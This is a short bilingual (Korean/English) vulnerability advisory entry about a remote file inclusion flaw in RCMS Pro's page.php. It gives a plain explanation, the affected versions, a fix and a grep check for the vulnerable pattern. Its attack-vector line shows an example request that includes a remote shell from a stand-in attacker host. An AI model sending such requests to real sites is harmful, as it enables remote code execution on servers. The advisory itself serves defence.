🇰🇷 한글 설명
RCMS Pro의 page.php 파일에서 id 매개변수를 통해 원격 PHP 코드 실행을 허용하는 원격 파일 포함(RFI) 취약점입니다. 공격자가 악의적인 PHP 파일을 포함시켜 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 보낸 파일 주소를 검증 없이 그대로 사용하는 문제입니다. 공격자가 악의적인 파일 주소를 보내면 서버가 그 파일을 실행하게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in page.php in RCMS Pro RGameScript Pro allows remote attackers to execute arbitrary PHP code via a URL in the id parameter.
📍 영향받는 시스템
RCMS Pro / RGameScript Pro (모든 버전, 특히 2007년경 버전)
⚔️ 공격 벡터
GET 요청의 id 파라미터에 원격 PHP 파일 URL 삽입 (예: page.php?id=http://attacker.com/shell.php)
🛡️ 대응 방법
RCMS Pro를 최신 버전으로 업그레이드하거나, page.php에서 id 매개변수를 화이트리스트 검증으로 필터링
🔧 검증 코드
취약한 패턴(include/require와 GET 파라미터 조합)이 출력되면 취약점 존재, 없으면 패치됨
grep -E 'include|require' /path/to/rcms/page.php 2>/dev/null | grep -i 'GET'